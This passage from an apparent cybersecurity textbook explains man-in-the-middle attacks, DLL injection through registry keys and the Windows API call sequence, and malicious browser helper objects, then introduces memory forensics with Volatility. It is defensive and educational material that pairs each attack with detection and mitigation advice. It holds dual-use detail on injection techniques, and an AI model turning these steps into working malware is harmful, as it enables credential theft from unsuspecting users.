effective at preventing all infections. Limiting user’s privileges will 
frequently prevent them from installing BHOs and other software 
that may include form-grabbing capabilities. If available, adminis-
trators should deploy a blacklist of known malicious servers to their 
firewalls. Intrusion detection system (IDS) signatures that detect the 
outbound POST requests generated by a specific form grabber might 
also be available.38

4.3.2 Man-in-the-Middle Attacks

This section explains the technical concepts and detection techniques 
of, and methods of protection against, man-in-the-middle (MITM) 
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attacks; what type of communications channels are vulnerable; and 
what users can do to mitigate the threat of such attacks.

MITM attacks allow an actor to intercept, view, and alter sen-
sitive data. MITM is a generic type of attack whereby an attacker 
inserts him or herself between the victim and the intended party 
during communication. Attackers may launch MITM attacks to 
enhance exploitation, steal information, defeat authentication sys-
tems, and masquerade or take actions as victims. In Exhibit 4-29, 
the attacker (Charlie) performs a MITM attack that withdraws all of 
Bob’s remaining balance.

MITM attacks often involve the attacker proxying requests, like 
the original question and answer to “What is Bob’s balance” in Exhibit 
4-29. In this way, the victim and the bank do not realize they are 
actually communicating with a fraudulent party because the answers 
are reasonable. In a MITM attack, each request and reply, which the 
attacker can modify or replace, goes through the attacker.

Malicious code authors integrated network-based MITM attacks 
with both address resolution protocol (ARP) and domain name sys-
tem (DNS) spoofing as early as February, 2006. The ARP allows local 
computers to determine the location of other computers according 
to their hardware (MAC) address. ARP uses connectionless proto-
cols; anyone connected to the network can send spoofed responses as 
another computer on the network. When attackers send spoofed ARP 
packets and claim to own every IP address, they can force all traffic to 
go through those IPs. If they proxy the traffic, they can modify or view 
it while allowing the victim to continue communicating. Similarly, 

Victim Attacker Bank

3. Victim’s $1,000 Balance is
Transmitted to the Attacker

4. Attacker Withdraws
$1,000 from

Victim’s Account

5. Victim’s $1,000 Balance Appears
to be Transmitted to the Victim

2. Attacker Requests Victim’s
Balance from the Bank

1. Victim Requests Balance from
the Bank

$

Exhibit 4-29 Charlie performs a man-in-the-middle (MITM) attack against Bob and his bank.
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other protocols, such as DNS, can facilitate MITM attacks against 
specific domain names. If an attacker is able to resolve a domain name 
to an IP address he or she controls instead of its actual address, then 
the victim will communicate with the attacker’s server instead of the 
intended server.

Examples of malicious code families that use network-based 
MITM attacks include Snow.A, Netsniff, and Arpiframe. Snow.A 
installs the WinPCAP driver and performs ARP poisoning to inter-
cept and monitor traffic. While Netsniff attempted to send spoofed 
DNS traffic, others like Arpiframe used MITM attacks to spread 
exploits by appending IFrames to all requested pages. If Arpiframe 
infects one server, all other servers on the same network will also 
deliver exploits.

Connecting to untrusted networks is dangerous for similar reasons, 
because a single malicious client or infected user could launch MITM 
attacks against all other users on the same network. Attackers could 
also launch MITM attacks by offering free wireless networks; such 
attacks have high hardware costs if attackers plan to target many dif-
ferent locations. Users should not trust external networks, and should 
use secure protocols like HTTPS, which allows users to authenticate 
the server and encrypt data to prevent eavesdropping.

Attackers also use MITM attacks while phishing when the phish-
ing tool used acts as a proxy to the real server. Phishing websites often 
do not use HTTPS; therefore, users do not have a strong way to verify 
the server’s identity using the server’s certificate. If users provide their 
information to a phishing website despite the lack of server identity 
information, attackers will have access to the user’s current session. 
Financial institutions can detect a large number of successful logon 
attempts from the same IP address to identify a potential phishing 
website acting as a proxy for MITM attacks.

On a larger scale, attackers could target routers in an attempt to 
reconfigure the way they route traffic. As an example, a known vul-
nerability in 2Wire modems that certain ISPs in Mexico offer to more 
than 2 million users allowed an attacker to reconfigure DNS set-
tings whenever the user’s browser or mail client rendered a malicious 
HTML tag. In this example, attackers reconfigured the IP address 
for banamex.com to an attacker-controlled server.39 If a user connects 
to the legitimate website via http://banamex.com while affected by 
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this configuration, the user would interact with the attacker’s server 
instead of the real one.

To deter attackers from using stolen credentials, organizations often 
require multiple forms of authentication, including one-time PINs 
(OTPs), which are time based and change each time the user logs on. 
These measures, while effective against certain kinds of attacks, are 
not effective at preventing MITM attacks. A MITM attack allows 
the attacker to alter traffic after a user logs onto a target website of 
interest. If the attacker wanted to gain more information from the 
user, the attacker could relay extra traffic to the client or take different 
actions as the client when communicating with the server.

ARP, DNS, phishing, and infrastructure MITM attacks are a few 
of the examples that explain how attackers inject themselves between 
a victim and another server. Upon injecting themselves in the mid-
dle, attackers can have varying motivations. Usually, attackers want 
to steal information, modify transactions, or enhance exploitation 
through appending IFrames with exploits to all HTTP replies.

4.3.2.1 Detecting and Preventing MITM Attacks One reason why cer-
tain MITM attacks are possible is because of the dynamic nature of 
DNS, which assigns IP addresses to domain names, and ARP, which 
assigns IP addresses to hardware and MAC addresses. Administrators 
who configure their networks to use static MAC address and IP 
address mappings can prevent attackers from using ARP spoofing. 
Additionally, administrators should block unrecognized DNS servers 
to prevent those DNS packets from reaching their victims. In the case 
of external networks, there is a lot of potential for malicious actions 
from either the operator or any user who connects. Users who need 
to access untrusted networks should use secure protocols to limit the 
impact of MITM attacks.

If an attacker attempts to intercept HTTPS traffic and send it to a 
server that he or she controls, the user might see the warnings shown 
in Exhibit 4-30 instead of the legitimate website. Upon viewing one of 
these warnings, users should recognize that an attacker might be trying 
to launch a MITM attack. For resources that do not use cryptographi-
cally strong protocols, there is no protection against MITM attacks. 
Websites that mix both HTTP and HTTPS are easier for attack-
ers to target because attackers can rewrite all HTTPS links to their 
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nonsecure HTTP counterparts, provided the user accesses at least one 
HTTP page during the session. For this reason, financial institutions 
should offer websites with HTTPS-only options and encourage users 
to connect to HTTPS versions of their websites before entering user 
credentials. Even one unsecured page could allow attackers to perform 
a MITM attack or perform an action on behalf of the user after he or 
she logs on. Some websites only use HTTPS when the user supplies 
credentials but do not protect other session information, which can be 
just as valuable to attackers using MITM attacks.

Users must authenticate the servers with which they wish to com-
municate and use cryptographically strong protocols to communicate. 
HTTPS and secure shell (SSH) are preferable to HTTP and telnet 
when exchanging critical information. Software clients for protocols 
like SSH cache the server’s signature after the user first connects. If 
the signature differs from the locally cached version, then the client 
will raise a warning, indicating that the server’s certificate changed 
and possibly that a MITM attack is taking place.

4.2.3.2 Conclusion Using encryption and certificates are effective 
ways to prevent MITM attacks from being successful, provided 
users authenticate servers appropriately. While administrators can 
make changes to their own networks to prevent ARP and DNS 

Exhibit 4-30. An untrusted connection in Firefox (top) and Internet Explorer (bottom).
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spoofing, they can do little to prevent the dangers of using external, 
untrusted networks. Organizations should make HTTPS-only ver-
sions of their websites available for whenever their customers wish 
to access them from untrusted networks. Users can use secure tun-
nels and proxies to limit the potential dangers of malicious external 
networks for all of their traffic. This will limit the effectiveness of 
MITM attacks and prevent unwanted disclosure and modification 
of data.

4.3.3 DLL Injection

Through the use of dynamic link libraries (DLLs), attackers are able 
to inject malicious activity into existing processes and applications. 
The compromised application continues to appear as a legitimate pro-
cess, thereby bypassing application firewalls and requiring sophisti-
cated tools to detect the malicious code. DLL injection poses a serious 
threat to the user and permits the attacker to steal the parent process 
data, which in many cases results in the theft of account credentials.

The Windows operating system uses dynamic link libraries (DLLs) 
to add functionality to applications. DLLs modularize applications 
by offering precompiled libraries that all programs share. An applica-
tion using a DLL does not bundle the libraries up and include them 
within its compiled code. Instead, the application imports the library 
to use functions within the DLL. This shared library implementa-
tion provides many beneficial features, such as code reuse, but exposes 
applications to the introduction of malicious DLLs. This section 
explains how to include a malicious DLL in an application by using a 
technique known as DLL injection.

Malicious code authors strive to steal information from or perform 
other malicious deeds on a compromised system. While carrying out 
this activity, they also attempt to hide their presence to lengthen the 
period in which the system remains in their control. DLL injection, 
which involves loading a malicious DLL into other processes, can 
achieve all of these tasks.

Injecting a DLL into another process allows an attacker to gain 
access to the process and its memory. The result of a successful injec-
tion is a complete compromise of the process by providing free reign 
to the DLL. This allows the DLL to monitor, alter, and steal elements 
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from within the process and carry out actions under the guise of the 
application.

DLL injection also provides an avenue to hook Windows appli-
cation programming interface (API) functions. By hooking these 
functions, the malicious DLL can monitor calls and alter interaction 
between the process and the kernel. This gives the DLL rootkit capa-
bilities, as it can hide files and other contents on the system that the 
malicious code author does not want exposed.

The impact of DLL injection on a system is very high and is trivial 
to carry out successfully with elevated privileges. A few methods are 
available to inject DLLs into processes, and each varies in complex-
ity and depends on the targeted process and the context in which the 
library injection originates. One simple way to inject a DLL into a 
process is by modifying the Windows Registry.

4.3.3.1 Windows Registry DLL Injection One of the easiest ways to 
perform DLL injection is through Windows Registry modifications. 
In Windows NT4, 2000, and XP, AppInit_DLLs is a registry key 
commonly used to inject DLLs into processes. The full path to the 
AppInit_DLLs registry entry is as follows:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\
CurrentVersion\Windows\AppInit_DLLs

This key includes a list of DLLs that load into all processes in the 
current logged-on session. The user32.dll library, responsible for the 
Windows user interface, loads the listed DLLs in AppInit_DLLs 
during the DLL_PROCESS_ATTACH process. Therefore, all pro-
cesses that link to user32.dll, which omits very few user mode applica-
tions, include the DLL within the AppInit_DLLs registry key when 
the process starts.

This method does not work by default in the Vista operating sys-
tem, as Microsoft did not carry over the AppInit_DLLs functionality 
due to the negative implications it presented. Vista uses a registry key 
called LoadAppInit_DLLs that requires extra permissions; however, 
the attacker can restore the original AppInit_DLLs functionality 
discussed above by setting the LoadAppInit_DLLs value to 1.

In addition to AppInit_DLLs, the undocumented registry key 
ShellServiceObjectDelayLoad can inject a DLL into the Windows 
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Explorer process. The ShellServiceObjectDelayLoad registry key 
contains critical DLLs, such as stobject.dll for the system tray, to 
load into the Explorer process for Windows to operate properly. To 
use the ShellServiceObjectDelayLoad key for injection, a component 
object model (COM) object, used to allow communication between 
different pieces of software on the system, must link the DLL to a 
unique class identifier. Once the link exists, the class identifier added 
to the ShellServiceObjectDelayLoad key will load the DLL into 
the Explorer process when the system starts. The full path to the 
ShellServiceObjectDelayLoad registry key is as follows:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\ShellServiceObjectDelayLoad

Another registry entry that allows DLL injection uses the Notify 
key within the Winlogon entry. Winlogon is responsible for interac-
tive logon for Windows and uses notifications to handle events. The 
Notify key loads DLLs that handle events such as startup, shutdown, 
and lock. By listing a malicious DLL in the Notify key, the library 
will load into the Winlogon process during system startup. The full 
path to the Winlogon Notify key is as follows:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\
CurrentVersion\Winlogon\Notify

A DLL injection method used by the Coreflood Trojan modifies 
the registry key ShellIconOverlayIdentifier. This registry key con-
tains icon overlay handlers, which allow the Windows shell to over-
lay images onto icons. Exhibit 4-31 displays an example of such an 
overlay when creating a shortcut on the desktop to an executable. The 
shortcut icon places an arrow in the lower-left corner of the execut-
able’s icon.

The icon overlay handlers are DLLs that export the interface to 
facilitate the overlay, but DLLs listed in the ShellIconOverlayIdentifier 
key load regardless of whether they provide this interface. Malicious 

Exhibit 4-31 A shortcut icon with overlay.
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DLLs dropped into the Windows system directory and added to this 
registry key load into Explorer at startup, resulting in a successful injec-
tion. The path to the ShellIconOverlayIdentifier key is as follows:

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
ShellIconOverlayIdentifiers

An option for attackers to inject a DLL into Internet Explorer is 
available using a browser helper object (BHO). Microsoft created 
BHOs to allow customized code to interact with Internet Explorer.40 
The implementation provided simple integration, as installation only 
requires a registry key with the path to the DLL. The path to the BHO 
registry key to inject a DLL into Internet Explorer is as follows:

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
BrowserHelperObjects

4.3.3.2 Injecting Applications In addition to DLL injection through 
registry modifications, malicious applications can inject DLLs into 
other processes. Malicious code that injects DLLs is common and 
typically loads these DLLs into processes as it installs onto the sys-
tem. These malicious programs typically follow the same procedures 
to load a malicious DLL into a remote process. The diagram shown in 
Exhibit 4-32 visually exemplifies the typical steps involved with DLL 
injection. The steps include opening the targeted process, allocating 
memory in the process for the DLL’s path, writing the DLL’s path to 
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3. Write DLL Path

4. Create Remote �read to
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LoadLibraryA(...)
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Exhibit 4-32 The dynamic link library (DLL) injection process.
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the process, and, finally, creating a remote thread to load the DLL in 
the process.

DLL-injecting malicious code begins by opening the targeted pro-
cess. By opening the targeted process, the malicious code can inter-
act with the process and run further commands. A rogue application 
opens a process using the OpenProcess Windows API function, which 
returns an open handle to the process back to the calling application. 
The malicious code uses this handle in further function calls as it is a 
pointer to the targeted process.

When obtaining the process’ handle, the OpenProcess function 
also includes a desired access parameter. The desired access parameter 
contains the access rights that the calling process needs in the targeted 
process. The OpenProcess function needs to obtain PROCESS_
CREATE_THREAD, PROCESS_QUERY_INFORMATION, 
PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and 
PROCESS_VM_READ access rights to successfully carry out sub-
sequent functions within the process.

Windows grants access rights after checking the malicious code 
process’ token for adequate privileges and generates a handle to the 
process with the desired access rights. If the user running the mali-
cious code has the SeDebugPrivilege enabled on his or her token, the 
OpenProcess function grants access and requested rights to the user 
without checking the security descriptor. Obtaining the appropriate 
access rights is important in the following steps, as the subsequent 
interaction with the target process requires particular permissions. 
Inadequate permissions will cause the entire DLL injection process 
to fail.

The next step in this technique allocates memory in the targeted 
process to store the path to the DLL. This allows the injecting appli-
cation to provide the targeted process with the path on disk to the 
DLL. To allocate memory in the targeted process, the injecting pro-
cess uses the VirtualAllocEx Windows API function with a speci-
fied size large enough to contain the DLL’s path. The VirtualAllocEx 
function requires the PROCESS_VM_OPERATION permission 
obtained during the initial OpenProcess function.

Once the injecting process allocates memory in the targeted pro-
cess, it writes the DLL’s path on disk to the memory location. The 
injecting process uses the WriteProcessMemory Windows API 
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function and the memory location returned by the VirtualAllocEx 
function to write the path to the DLL. To successfully write to the 
memory location, the WriteProcessMemory function requires the 
PAGE_READWRITE access right set during memory allocation.

Finally, after writing the DLL path to the targeted process’ memory, 
the injecting process initiates the DLL loading sequence. Conveniently, 
Windows provides an API function called LoadLibrary to load a DLL 
into the current process. To initiate the injection, the injecting process 
must call the LoadLibrary function remotely. The injecting process uses 
the CreateRemoteThread Windows API function to create a thread in 
the targeted process. The remote thread running the load library func-
tion results in a successful DLL injection. The CreateRemoteThread 
function requires the PROCESS_CREATE_THREAD, PROCESS_
QUERY_INFORMATION, PROCESS_VM_OPERATION, 
PROCESS_VM_WRITE, and PROCESS_VM_READ access 
rights to work reliably on all versions of Windows.

4.3.3.3 Reflective DLL Injections Applications that inject DLLs into 
processes call the LoadLibrary function, with the exception of the 
registry modifications discussed, because it simplifies loading librar-
ies into a process; however, this function adds the name of the DLL 
to a list of loaded modules in the process environment block. The 
process environment block is a data structure that every running 
process has that contains user mode information associated with the 
process. This structure includes a list of loaded libraries, which can 
unearth injected DLLs.

Malicious code authors intent on hiding injected DLLs avoid list-
ing the library in the process environment block by using alternative 
means to load the library. An alternative process, known as reflec-
tive DLL injection, uses reflective programming to load a DLL from 
memory into a process without using the LoadLibrary function. This 
technique injects a DLL in a stealthy manner, as it does not have any 
ties to the process and omits the DLL from the loaded library list. 
Exhibit 4-33 compares using the LoadLibrary function to the reflec-
tive DLL injection process.

Reflective DLL injection incorporates a loading function that runs 
within the targeted process to mimic the LoadLibrary function. This 
loading function is a manual DLL loader that starts by allocating 
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memory in the process, followed by mapping the DLL code into the 
allocated memory. The loader then parses the process’ import address 
table (IAT), which contains all functions from imported libraries to 
populate the injected DLL’s IAT. The loading function also populates 
the DLL’s relocation table to make sure all of the memory addresses 
used within the DLL’s code are correct. Finally, the loading function 
creates a thread for the DLL’s entry point to start execution.

In reflective injection, the reflective loader does not register the 
loaded DLL within the process’ list of loaded modules. Exhibit 4-33 
shows that the reflective injection steps do not include adding the DLL 
to the loaded module list, which results in a concealed injection.

4.3.3.4 Conclusion DLL injection is dangerous due to the effect it 
has on a system’s security. Successful injections allow malicious code 
to steal data from the process. For example, a banking Trojan could 
inject a DLL with form-grabbing capabilities into the Web browser 
to steal logon credentials.

All malevolent tasks carried out by the injected DLL use the guise 
of the injected process. By masquerading as a legitimate process, the 
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Exhibit 4-33 LoadLibrary versus reflective injection.
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malicious DLL can successfully bypass application-based firewalls. 
The guise of a legitimate application makes detection difficult and 
requires tools that are more sophisticated. These tools require func-
tionality to view DLLs loaded into a process by LoadLibrary or pro-
vide the ability to analyze the virtual memory of a process to view 
DLLs loaded by reflective DLL injection.

To minimize the chances of successful DLL injection, adminis-
trators should assign the least privileges necessary to users’ accounts. 
The minimal privileges will reduce the ability to write registry entries 
and save DLLs to the system directory. An account with minimal 
privileges will not have the appropriate permissions within its token 
to open a remote process for injection; however, this does not thwart 
injection into processes using SeDebugPrivilege permission or any 
other injection attempts made after successful privilege escalation.

4.3.4 Browser Helper Objects

Browser helper objects (BHOs) are enormously useful, with most PCs 
having at least one installed; however, what was intended simply to 
extend the functionality of Microsoft’s Internet Explorer also increases 
the potential attack surface and has become a popular exploitation 
vector. This section explains what BHOs are and how attackers use 
them to their advantage.

In the late 1990s, the popularity of the World Wide Web was tak-
ing off and Microsoft Corporation decided to provide an alternate pro-
gramming interface (API) to allow developers to extend their popular 
Internet Explorer (version 4.0 at the time) browser. Its solution was the 
BHO, which is a normal Windows binary in the form of a DLL file 
capable of adding completely new functionality to Internet Explorer. 
In this section we explain how BHOs work and the impact they have 
had on the security posture of Windows and Internet Explorer.

Internet Explorer is currently the most widely used Web browser in 
the world. During the past ten years, BHOs have become a very pop-
ular way for Microsoft and third parties to add new functionality to 
the core browser. Some of the earliest and most prevalent BHOs are 
search tool bars that add an area containing search boxes and other 
features below the browser address bar. These programs are commonly 
associated with adware and spyware because their producers make 
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money by collecting information about the users’ browsing habits and 
displaying advertisements to the user. Exhibit 4-34 shows how the 
Alexa Toolbar appears when loaded in Internet Explorer.

BHOs are also commonly used to give Internet Explorer the capa-
bility to deal with file formats not normally displayed in a browser, 
such as PDFs. The Adobe Reader BHO is installed alongside the 
Adobe application to allow the browser to display a PDF inside the 
browser window rather than in a separate application. Exhibit 4-35 
shows an example of a PDF document displayed by the Adobe Reader 
BHO inside Internet Explorer.

4.3.4.1 Security Implications BHOs provide new functionality to 
Internet Explorer, but as with any new functionality, they also pro-
vide new avenues for attackers to manipulate systems. During the 
past five years, the Web browser has become a common conduit 
for malicious code. Attackers can exploit a browser vulnerability to 

Exhibit 4-34 The Alexa toolbar adds an additional toolbar to Internet Explorer.

Exhibit 4-35 A PDF file displayed by an Adobe browser helper object (BHO) inside Internet Explorer.
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infect unknowing visitors to a page. BHOs process code alongside 
the browser, possibly introducing new vulnerabilities and increasing 
the browser’s attack surface. For instance, a vulnerability in Adobe 
Reader can be exploited through Internet Explorer if the Adobe BHO 
is installed. Microsoft can fix vulnerabilities in its code once they are 
discovered and use its automated update system to protect users, but 
the software vendor who produced the BHOs must update them.

Attackers not only take advantage of BHOs by exploiting vul-
nerabilities in them, but also develop their own BHOs to add mali-
cious functionality to Internet Explorer. The Nethell/Limbo and 
Metafisher/AgentDQ banking Trojans install BHOs that analyze 
each page the user visits to determine if it is one of those in its target 
list of online banking sites. Once it detects a targeted banking site, 
the Trojan can steal data from the page or even alter the page. Exhibit 
4-36 shows how the Nethell/Limbo Trojan alters a logon form to 
request additional information from the infected user.

Detecting BHOs is simple, as Internet Explorer provides an inter-
face to list all add-ons currently used by the browser. To access this 
list in Internet Explorer 6, choose Manage Add-ons from the Tools 

  

Exhibit 4-36 A Trojan BHO modifies the normal logon (left) to include additional fields (right).
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menu; in Internet Explorer 7, choose Manage Add-ons from the Tools 
menu and then select Enable or Disable Add-ons.

The add-ons list shows all BHOs and their cousins (ActiveX 
Controls and Toolbars) currently used by Internet Explorer. From this 
dialog, users can also disable specific controls. Exhibit 4-37 shows the 
Manage Add-ons interface with a list of plug-ins installed.

The dialog shows the name of the add-on, publisher, type, and 
name of the file loaded in the browser. If the code is signed by a devel-
oper but not trusted by the system’s code-signing certificate chain, the 
label (not verified) will appear next to the publisher’s name. In Exhibit 
4-37, the add-on highlighted at the top of the screen is the Adobe 
Reader BHO, a legitimate BHO signed by Adobe Systems, Inc. The 
add-on highlighted in the middle of the screen is the BHO installed 
by the Nethell/Limbo Trojan. Some legitimate BHOs may also not 
be signed with a trusted key and will also display the (not verified) 
label, as is the case with the Alexa Toolbar BHO files.

BHOs allow developers to extend Internet Explorer and provide 
new functionality that benefits users, but this flexibility comes at a 
cost. The increased attack surface can leave “fully patched” Windows 
systems vulnerable if every BHO has not also been updated to the lat-
est version. BHOs also provide an easy way for attackers to manipulate 

Exhibit 4-37 A manage add-ons dialog showing currently loaded add-ons.
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the browser to steal data from unsuspecting users. Administrators 
should know every BHO installed on the systems they manage to 
ensure that each of them is included in patching cycles and that no 
malicious BHOs have been installed.
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5
deFenSe and analySiS 

teChniqueS

5.1 Memory Forensics

Memory forensics refers to finding and extracting forensic artifacts 
from a computer’s physical memory. This section explains the impor-
tance and capabilities of memory forensics and the tools used to sup-
port incident response and malware analysis.

While a system is on, random access memory (RAM) contains 
critical information about the current state of the system. By captur-
ing an entire copy of RAM and analyzing it on a separate computer, 
it is possible to reconstruct the state of the original system, including 
the applications the user was running and the files or network con-
nections that existed at the time. The concept of preserving RAM 
per the “order of volatility”1 and inspecting it for signs of an intrusion 
is certainly not new; however, before the recent explosion of ground-
breaking research and expandable analysis frameworks, many inves-
tigators relied on running the strings command on a memory dump 
to gather postmortem intelligence about an attack. Fortunately, times 
have changed, and memory analysis is not only a critical component 
in any forensic investigation, but also one of the most effective meth-
ods for malware reverse-engineering tasks such as unpacking and 
rootkit detection.

5.1.1 Why Memory Forensics Is Important

Analysts who bring memory forensics skills to an investigation are 
better equipped to handle malware incidents than analysts who do 
not have such skills. Here are a few reasons why:

• Attackers design some malware to run completely from RAM 
(i.e., memory resident codes) to avoid touching longer term 



268	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

storage devices such as the hard drive. Therefore, if analysts 
do not look for signs of intrusions in RAM, they might miss 
the most important, or perhaps the only, evidence that mal-
ware existed on the system.

• Attackers design some malware to hide its own code and the 
resources that it requires from the operating system using 
application program interface (API) hooks; however, these 
rootkit techniques typically only work against other processes 
on the infected computer while the system is running. Hiding 
from offline memory forensics tools requires a different set of 
capabilities that most malware authors have not implemented 
into their code.

• Similar to what Isaac Newton theorized about the real world, 
every action on a computer has a reaction. Even if attackers were 
able to study the Windows operating system (OS) well enough 
to anticipate the side effects of every API call, they would not 
be able to prevent or hide each side effect continuously and 
perpetually. If investigators become familiar with these side 
effects, they can use the information as clues when determin-
ing what might have happened on the suspect system.

5.1.2 Capabilities of Memory Forensics

Analysts can gather an extreme amount of information about the state 
of a system by using memory forensics. Table 5-1 shows a few of the 
default capabilities of a memory analysis framework and the corre-
sponding tools that one might use on a live system to gather the same 
type of evidence.

Based on the information in Table 5-1, memory forensics frame-
works can produce the same information that 10–20 standard tools 
that analysts frequently use on live systems can, but with the added 
benefit of being able to bypass rootkit tricks.

5.1.3 Memory Analysis Frameworks

In terms of memory analysis frameworks, there are a few options 
from which to choose. The most important factors are cost, the pro-
gramming language for developing plug-ins for the frameworks, the 
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operating systems on which the frameworks run, and the reliability of 
the frameworks’ output. See Table 5-2.

Because Volatility is free, is written in Python, and runs on mul-
tiple operating systems, it is the favorite framework of many iDefense 
engineers. Knowing how tools work, rather than just knowing how to 
use the tools, is a requirement to analyzing and understanding today’s 
sophisticated malware. Volatility is open-source Python, so learning 
how Volatility harvests information is simple. In fact, one of the ways 
that iDefense engineers learned a lot about the technical aspects of 
memory analysis, including the format of kernel structures and how 

Table 5-1 Default Capabilities and Corresponding Tools

CAPABILITY LIVE SYSTEM TOOLS

Determine which processes and threads were active at the time 
an analyst obtained the memory dump, including the process 
ID, thread ID, and process start and end times.

Process Explorer, Task Manager

Enumerate the dynamic link libraries (DLLs) loaded in any 
process, including their base address in virtual memory, the size 
of the DLL, and the full path to the DLL on disk.

Process Explorer, listdlls.exe

Determine which ports and protocols are in use, the local and 
remote Internet Protocol (IP) endpoints, and the process 
identifier (PID) of the process responsible for creating the 
connection or socket.

Fport, ActivePorts, TcpView, 
Netstat

Determine which kernel modules are loaded, including their 
base addresses, sizes, and names.

GMER, IceSword, WinDBG

Dump malicious process executables, DLLs, kernel drivers, and 
any nonpaged memory ranges in user mode or kernel mode 
memory for further inspection.

LordPE, Procdump, Debugger 
plug-ins

Print the addresses and sizes of all allocated memory regions in 
a process, including the page permissions and whether the 
region contains a memory-mapped file.

Vmmap, OllyDbg

Determine which files and registry keys were open in a process 
at the time of the memory dump.

Process Explorer, handles.exe

Table 5-2 Memory Analysis Framework Factors

NAME COST PLUG-IN LANGUAGE ANALYSIS OS

Volatilitya Free and open source Python Windows, Linux, and OSX
HBGary Responderb $1,500–9,000 C# Windows only
Mandiant Memoryzec Free and closed source XML and proprietary Windows only

Source: a: Volatile Systems, “Volatility Website,” 2006–2008, https://www.volatilesystems.com/
default/volatility. b: HBGary, “HBGary Responder Tool,” 2009, https://www.hbgary.com/
products-services/responder-prof/; and c: Mandiant, “Free Software: Memoryze,” 2010, 
http://www.mandiant.com/software/memoryze.htm.
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to parse them, was by learning from Volatility’s programmers by look-
ing through the source code.

5.1.4 Dumping Physical Memory

To dump physical memory, iDefense recommends using win32dd2 by 
Matthieu Suiche. The tool supports memory acquisition from a wide 
variety of OS versions, including Windows 2000, XP, 2003, Vista, 2008, 
7, and 2008 RC2. Suiche recently provided an update that includes the 
capability to compute cryptographic checksums (MD5, SHA-1, or SHA-
256) and client or server architecture so that an analyst can transmit the 
memory dump across the network easily. To get started, download a 
copy of win32dd from the tool’s home page and extract the archive. To 
dump the full physical address space, save the output file to mem.dmp 
in the same path as win32dd and create a Secure Hash Algorithm 1 
(SHA-1) hash of the dumped file; use the following syntax:

F:\>win32dd.exe /f mem.dmp /s 1

5.1.5 Installing and Using Volatility

To begin using Volatility, download the package from its home page 
on the Volatile Systems3 website or grab a copy of the latest Subversion 
package4 hosted at Google code. The Volatility Documentation 
Project5 by Jamie Levy (a.k.a. gleeda) and a few anonymous authors 
contains some great manuals for installing Volatility on Windows, 
Linux, and OSX. In most cases, to get started, the only requirement 
is to extract the archive and invoke the “volatility” script with Python, 
as shown in the following command sequence:

$ tar -xvf Volatility-1.3.tar.gz
$ cd Volatility-1.3
$ python volatility

 Volatile Systems Volatility Framework v1.3
 Copyright (C) 2007,2008 Volatile Systems
 Copyright (C) 2007 Komoku, Inc.
 This is free software; see the source for 
copying conditions.
 There is NO warranty; not even for 
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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 usage: volatility cmd [cmd_opts]

 Run command cmd with options cmd_opts
 For help on a specific command, run ‘volatility 
cmd --help’

 Supported Internel Commands:
 connections  Print list of open connections
 connscan  Scan for connection objects
 connscan2  Scan for connection objects 

(New)
 datetime  Get date/time information for 

image
 dlllist  Print list of loaded dlls for 

each process
 dmp2raw  Convert a crash dump to a raw 

dump
 dmpchk  Dump crash dump information
 files  Print list of open files for 

each process
 hibinfo  Convert hibernation file to 

linear raw image
 ident  Identify image properties
 memdmp  Dump the addressable memory for 

a process
 memmap  Print the memory map
 modscan  Scan for modules
 modscan2  Scan for module objects (New)
 modules  Print list of loaded modules
 procdump  Dump a process to an executable 

sample
 pslist  Print list of running processes
 psscan  Scan for EPROCESS objects
 psscan2  Scan for process objects (New)
 raw2dmp  Convert a raw dump to a crash 

dump
 regobjkeys  Print list of open regkeys for 

each process
 sockets  Print list of open sockets
 sockscan  Scan for socket objects
 sockscan2  Scan for socket objects (New)
 strings  Match physical offsets to virtual 

addresses (may take a while, VERY 
verbose)

 thrdscan  Scan for ETHREAD objects
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 thrdscan2  Scan for thread objects (New)
 vaddump  Dump the Vad sections to files
 vadinfo  Dump the VAD info
 vadwalk  Walk the vad tree

All of the commands shown in the output are available by default. 
Analysts can learn any required arguments for individual commands 
by issuing “python volatility <command> --help”; however, many of 
the commands work without arguments. The full syntax for extract-
ing evidence from the memory dump created with Volatility follows:

$ python volatility <command> <arguments> -f mem.dmp

5.1.6 Finding Hidden Processes

The Windows kernel creates an EPROCESS object for every process 
on the system. The object contains a pair of pointers, which identifies 
the previous and subsequent processes. Together, this creates a chain 
of process objects also called a doubly linked list. To visualize a doubly 
linked list, think of a group of people who join hands until the group 
is standing in a big circle. By joining hands, each person connects to 
exactly two other people. To count the number of people in the group, 
one could pick a person to start with and then walk in either direction 
along the outside of the circle and count the number of heads until 
ending back at the starting point. Tools like Process Explorer, Task 
Manager, and many other system administration programs use API 
functions that enumerate processes by walking the linked list using 
this same methodology.

Enumerating processes in memory dumps is different because 
the system is offline and therefore API functions do not work. To 
find the EPROCESS objects, Volatility locates a symbol named _
PsActiveProcessHead, defined in ntoskrnl.exe. Although the sym-
bol is not exported, it is accessible from the _KPCR structure, which 
exists at a hard-coded address in memory, as described in “Finding 
Some Non-Exported Kernel Variables in Windows XP”6 by Edgar 
Barbosa. This _PsActiveProcessHead symbol is a global variable 
that points to the beginning of the doubly linked list of EPROCESS 
objects. Exhibit 5-1 shows the path that Volatility takes to find the 
desired data in a memory dump.
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To use Volatility to generate a process listing by walking the linked 
list of processes, use the following syntax:
$ python volatility pslist –f mem.dmp

Name Pid PPid Thds Hnds Time
System 4 0 54 232 Thu Jan 01 00:00:00 1970
smss.exe 368 4 3 21 Tue Dec 01 15:58:54 2009
csrss.exe 516 368 10 324 Tue Dec 01 15:58:55 2009
winlogon.exe 540 368 18 505 Tue Dec 01 15:58:55 2009
services.exe 652 540 16 252 Tue Dec 01 15:58:55 2009
lsass.exe 664 540 21 326 Tue Dec 01 15:58:55 2009
VBoxService.exe 816 652 4 76 Tue Dec 01 15:58:55 2009
svchost.exe 828 652 19 196 Tue Dec 01 15:58:55 2009
svchost.exe 908 652 10 225 Tue Dec 01 15:58:55 2009
svchost.exe 1004 652 67 1085 Tue Dec 01 15:58:55 2009
svchost.exe 1064 652 5 57 Tue Dec 01 15:58:55 2009
svchost.exe 1120 652 15 205 Tue Dec 01 15:58:56 2009

KPCP (0×FFDFF000)

KdVersionBlock

DebuggerDataList

